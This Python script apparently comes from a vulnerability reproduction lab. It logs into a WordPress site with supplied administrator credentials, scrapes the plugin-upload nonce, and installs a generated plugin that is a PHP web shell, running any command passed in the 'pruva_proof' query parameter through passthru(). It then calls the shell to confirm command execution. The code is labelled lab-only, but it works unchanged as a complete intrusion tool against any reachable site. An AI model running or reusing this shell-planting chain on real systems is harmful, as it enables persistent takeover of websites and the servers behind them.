#!/usr/bin/env python3
"""Verify a created WordPress administrator and upload a lab-only proof plugin."""

from __future__ import annotations

import argparse
import http.cookiejar
import io
import json
import re
import secrets
import urllib.parse
import urllib.request
import zipfile


def request(opener, url: str, data: bytes | None = None, headers: dict | None = None):
    req = urllib.request.Request(url, data=data, headers=headers or {})
    with opener.open(req, timeout=30) as response:
        return response.status, response.geturl(), response.read().decode(errors="replace")


def multipart(fields: dict[str, str], name: str, filename: str, content: bytes):
    boundary = "----PruvaBoundary" + secrets.token_hex(12)
    chunks: list[bytes] = []
    for key, value in fields.items():
        chunks.extend(
            [
                f"--{boundary}\r\n".encode(),
                f'Content-Disposition: form-data; name="{key}"\r\n\r\n'.encode(),
                value.encode(),
                b"\r\n",
            ]
        )
    chunks.extend(
        [
            f"--{boundary}\r\n".encode(),
            (
                f'Content-Disposition: form-data; name="{name}"; '
                f'filename="{filename}"\r\n'
            ).encode(),
            b"Content-Type: application/zip\r\n\r\n",
            content,
            b"\r\n",
            f"--{boundary}--\r\n".encode(),
        ]
    )
    return b"".join(chunks), boundary


def plugin_zip(slug: str) -> bytes:
    source = """<?php
/*
Plugin Name: Pruva Isolated Chain Proof
Description: Disposable command-execution oracle for an isolated reproduction lab.
Version: 1.0.0
*/
if (isset($_GET['pruva_proof'])) {
    header('Content-Type: text/plain');
    echo "PRUVA-RCE-BEGIN\\n";
    passthru((string) $_GET['pruva_proof'], $exit_code);
    echo "\\nPRUVA-RCE-EXIT:" . $exit_code . "\\n";
    exit;
}
"""
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as archive:
        archive.writestr(f"{slug}/{slug}.php", source)
    return buf.getvalue()


def prove_rce(base_url: str, username: str, password: str) -> dict:
    base = base_url.rstrip("/")
    jar = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))
    opener.addheaders = [("User-Agent", "pruva-source-lab")]

    request(opener, base + "/wp-login.php")
    login_body = urllib.parse.urlencode(
        {
            "log": username,
            "pwd": password,
            "wp-submit": "Log In",
            "redirect_to": base + "/wp-admin/",
            "testcookie": "1",
        }
    ).encode()
    status, final_url, admin_html = request(
        opener,
        base + "/wp-login.php",
        login_body,
        {"Content-Type": "application/x-www-form-urlencoded"},
    )
    login_ok = "/wp-admin" in final_url and "login_error" not in admin_html
    if not login_ok:
        raise SystemExit("normal WordPress login failed")

    _, _, upload_html = request(opener, base + "/wp-admin/plugin-install.php?tab=upload")
    nonce_match = re.search(r'name="_wpnonce"\s+value="([^"]+)"', upload_html)
    if not nonce_match:
        nonce_match = re.search(r'value="([^"]+)"\s+name="_wpnonce"', upload_html)
    if not nonce_match:
        raise SystemExit("plugin upload nonce not found")

    slug = "pruva-chain-proof-" + secrets.token_hex(5)
    body, boundary = multipart(
        {
            "_wpnonce": nonce_match.group(1),
            "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
            "install-plugin-submit": "Install Now",
        },
        "pluginzip",
        slug + ".zip",
        plugin_zip(slug),
    )
    upload_status, _, upload_result = request(
        opener,
        base + "/wp-admin/update.php?action=upload-plugin",
        body,
        {"Content-Type": f"multipart/form-data; boundary={boundary}"},
    )
    upload_ok = "Plugin installed successfully" in upload_result
    if not upload_ok:
        raise SystemExit("core plugin upload did not report success")

    command = "printf 'PRUVA-CMD-MARKER\\n'; id"
    shell_url = (
        base
        + f"/wp-content/plugins/{slug}/{slug}.php?"
        + urllib.parse.urlencode({"pruva_proof": command})
    )
    shell_status, _, output = request(opener, shell_url)
    rce_ok = (
        shell_status == 200
        and "PRUVA-RCE-BEGIN" in output
        and "PRUVA-CMD-MARKER" in output
        and "uid=" in output
        and "PRUVA-RCE-EXIT:0" in output
    )
    if not rce_ok:
        raise SystemExit("uploaded plugin did not produce the command-execution oracle")

    return {
        "normal_login_confirmed": login_ok,
        "plugin_upload_confirmed": upload_ok,
        "shell_url": shell_url,
        "command": command,
        "output": output,
    }


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("base_url")
    parser.add_argument("username")
    parser.add_argument("password")
    args = parser.parse_args()
    print(json.dumps(prove_rce(args.base_url, args.username, args.password), indent=2))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
